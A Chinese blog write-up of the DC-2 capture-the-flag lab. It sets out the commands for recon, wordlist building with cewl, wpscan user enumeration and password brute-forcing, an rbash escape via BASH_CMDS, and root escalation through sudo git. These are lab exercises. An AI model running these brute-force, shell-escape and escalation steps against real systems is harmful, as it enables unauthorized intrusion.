DC-2

arp-scan -l

扫一下ip

接下来扫端口

nmap -p- 192.168.59.132

访问一下(这里需要先添加对应的hosts解析为dc-2)

C:\Windows\System32\drivers\etc\hosts

发现一个flag文字

发现flag1

翻译:

你平时常用的密码字典大概率行不通,不如换个思路 —— 或许你得用 cewl 才行。

密码再多总归是好事,但有些密码你终究猜不全。登录其中一个账号,就能拿到下一个 Flag。要是找不到,就换另一个账号登录。

看到这里说明是一个cms框架

cewl是什么查一下

然后扫描一下相关的目录

dirsearch -u "http://192.168.59.132" -i 200 -e*

扫完了果然是wordpress

查看一下

我们用他刚刚的提示cewl获取密码

cewl http://dc-2/ > 402pwd.txt

忘了kali也要做hosts了

vim /etc/hosts

再次生成

成功把密码爬出来了

接下来爬用户名用wpscan这个是专门爬wordpress的工具

wpscan --url http://dc-2/ -e u      //枚举用户名字

爬出来3个账号

admin
jerry
tom
echo -e "admin\njerry\ntom" > 402user.txt   #使用 -e 来启用转义字符(如 \n)的解释

保存到文档里面

爆破一下账号密码

wpscan --url http://dc-2/ -U 402user.txt -P 402pwd.txt

成功爆出用户名和密码

Username: jerry, Password: adipiscing
Username: tom, Password: parturient

去刚刚的wordpress登录

成功登录

瞎点发现flag2

翻译:

如果你没法拿下 WordPress 漏洞、走捷径通关,那还留有别的思路。希望你已经找到另一个入侵入口点了。

我们之前报端口的时候还有一个7744毕竟就俩端口还告诉我们另一个入侵点那大概率就是远程连接

可能7744是远程连接尝试一下

ssh jerry@192.168.59.132 -p 7744

尝试jerry发现登录不进去试试另一个用户

ssh tom@192.168.59.132 -p 7744

发现tom成功登录

ls查看一下当前目录

成功发现flag3

看看内容

发现cat没了

!!more也没了

尝试less

成功获取内容

翻译:

可怜的老汤姆总追着杰瑞跑。或许他该用 su,摆脱对方带来的所有压力。

难道在暗示我们提取?

纳尼sudo也没了

查看一下/home家目录

发现了jerry家目录

去jerry家看看

我突然发现前面有个rbash 这个是受限的用下面命令查看哪些命令能用

rbashRestricted Bash 的缩写,是 bash shell 的受限模式变体,并非独立的 shell 程序。它通过启动 bash 时使用rbash命令名、--restricted-r选项来激活受限状态,核心目的是限制用户的操作权限,提供更安全的命令行环境GNU。在大多数 Linux 系统中,rbash通常是/bin/bash的软链接。

tom@DC-2:~$ compgen -c
if
then
else
elif
fi
case
esac
for
select
while
until
do
done
in
function
time
{
}
!
[[
]]
coproc
__expand_tilde_by_ref
__get_cword_at_cursor_by_ref
__git_eread
__git_ps1
__git_ps1_colorize_gitstring
__git_ps1_show_upstream
__grub_dir
__grub_get_last_option
__grub_get_options_from_help
__grub_get_options_from_usage
__grub_list_menuentries
__grub_list_modules
__grubcomp
__ltrim_colon_completions
__parse_options
__reassemble_comp_words_by_ref
_a2disconf
_a2dismod
_a2dissite
_a2enconf
_a2enmod
_a2ensite
_allowed_groups
_allowed_users
_apache2_allcomp
_apache2_conf
_apache2_mods
_apache2_sites
_available_interfaces
_cd
_cd_devices
_command
_command_offset
_complete_as_root
_completion_loader
_configured_interfaces
_count_args
_debconf_show
_dvd_devices
_expand
_filedir
_filedir_xspec
_fstypes
_get_comp_words_by_ref
_get_cword
_get_first_arg
_get_pword
_gids
_grub_editenv
_grub_install
_grub_mkconfig
_grub_mkfont
_grub_mkimage
_grub_mkpasswd_pbkdf2
_grub_mkrescue
_grub_probe
_grub_script_check
_grub_set_entry
_grub_setup
_have
_init_completion
_insserv
_installed_modules
_ip_addresses
_kernel_versions
_known_hosts
_known_hosts_real
_longopt
_mac_addresses
_minimal
_modules
_ncpus
_parse_help
_parse_usage
_pci_ids
_pgids
_pids
_pnames
_pygmentize
_quote_readline_by_ref
_realcommand
_rl_enabled
_root_command
_service
_services
_shells
_signals
_split_longopt
_sysvdirs
_terms
_tilde
_uids
_update_initramfs
_upvar
_upvars
_usb_ids
_user_at_host
_usergroup
_userland
_variables
_xfunc
_xinetd_services
dequote
quote
quote_readline
.
:
[
alias
bg
bind
break
builtin
caller
cd
command
compgen
complete
compopt
continue
declare
dirs
disown
echo
enable
eval
exec
exit
export
false
fc
fg
getopts
hash
help
history
jobs
kill
let
local
logout
mapfile
popd
printf
pushd
pwd
read
readarray
readonly
return
set
shift
shopt
source
suspend
test
times
trap
true
type
typeset
ulimit
umask
unalias
unset
wait
less
scp
ls
vi

用ls查看一下吧

发现flag4

用less查看一下

翻译:

很高兴你一路闯到现在 —— 但还没彻底通关。

你还得拿下最终 Flag(唯一一个含金量实打实的终极 Flag!!!)。

这儿没任何提示了 —— 接下来全靠自己冲了。😃

赶紧动手 ——git outta here!

上网搜索发现有git提权

但是得先逃逸rbash

tom@DC-2:~$ export PATH=$PATH:/bin/
-rbash: PATH: readonly variable
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a
$ /bin/bash
tom@DC-2:~$ su jerry
bash: su: command not found
tom@DC-2:~$ export PATH=$PATH:/bin/
tom@DC-2:~$ su jerry

逐行解析

  1. 第一步:尝试修改 PATH,失败(rbash 强制限制)
tom@DC-2:~$ export PATH=$PATH:/bin/
-rbash: PATH: readonly variable
  • 你当前处于 rbash(受限bash) 环境;
  • rbash 的核心规则:PATH只读变量绝对不允许修改
  • 你想把 /bin 目录加入 PATH(让系统能找到 /bin 下的命令),直接被 rbash 拒绝,报错 readonly variable

  1. 第二步:经典 rbash 绕过,逃出受限 shell
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a
$
  • 原理:BASH_CMDS 是 bash 内部的命令哈希表,rbash 没有限制这个变量;
  • 操作:把 /bin/sh(标准shell)赋值给变量 a,然后执行 a
  • 结果:成功绕过 rbash,提示符变成 $,进入了无限制的普通 sh 环境

  1. 第三步:升级为完整 bash,彻底摆脱 rbash
$ /bin/bash
tom@DC-2:~$
  • 现在已经不是 rbash 了,可以执行带斜杠的绝对路径命令
  • 直接运行 /bin/bash,启动完整的标准 bash,回到 tom@DC-2 提示符(rbash 已完全失效)。

  1. 第四步:执行 su 命令,报错「找不到命令」
tom@DC-2:~$ su jerry
bash: su: command not found
  • 原因:虽然绕过了 rbash,但 PATH 还是原来的「受限PATH」
  • rbash 初始的 PATH 只包含你自己的小目录(比如 ~/bin),**没有包含 **/bin
  • su 命令的真实路径是 /bin/su,系统在当前 PATH 里找不到它,所以报错。

  1. 第五步:修改 PATH,成功(无限制bash允许修改变量)
tom@DC-2:~$ export PATH=$PATH:/bin/
  • 现在是标准 bash,不再受 rbash 限制,PATH 可以自由修改;
  • /bin 目录追加到 PATH 中,系统现在能找到 /bin 下的所有命令(sulscd 等)。

  1. 第六步:执行 su,成功切换用户
tom@DC-2:~$ su jerry
  • PATH 已包含 /bin,系统找到 /bin/su 命令;
  • 正常执行 su,切换到 jerry 用户。

总结

  1. rbash 锁死 PATH,不让你加系统目录;
  2. BASH_CMDS 绕过 rbash,获得普通 shell;
  3. 绕过后人机环境的 PATH 还是空的,手动加 /bin 后,才能用 su 等系统命令。

事后总结所以我们可以简化操作

BASH_CMDS[a]=/bin/bash;a
export PATH=$PATH:/bin/

但是更稳的方法还是先使用sh避免/bin/bash没有权限

成功逃逸

查看一下权限

使用git提权一下

sudo git -p help config

按住shift + :进入命令模式

!/bin/bash

成功提权

切换到root的家目录

查看一下

成功发现最终flag

翻译

  __    __     _ _       _                    _ 
 / / /\ \ \___| | |   __| | 授权  _ __   权限拿到  / \
 \ \/  \/ / _ \ | |  / _` | 密钥  | '_ \ 突破防线 /  /
  \  /\  /  __/ | | | (_| | 权限  | | | | 切换账号 \/
   \/  \/ \___|_|_|  \__,_| 通关  |_| |_| 拿下全场 /    

恭喜通关!!

特别感谢所有发推文、给我反馈的小伙伴——万分感激。
如果你喜欢这次 CTF 闯关,欢迎推特私信作者:@DCAU7

成功过关!!!

posted @ 2026-04-15 17:01  沐川儿  阅读(16)  评论(0)    收藏  举报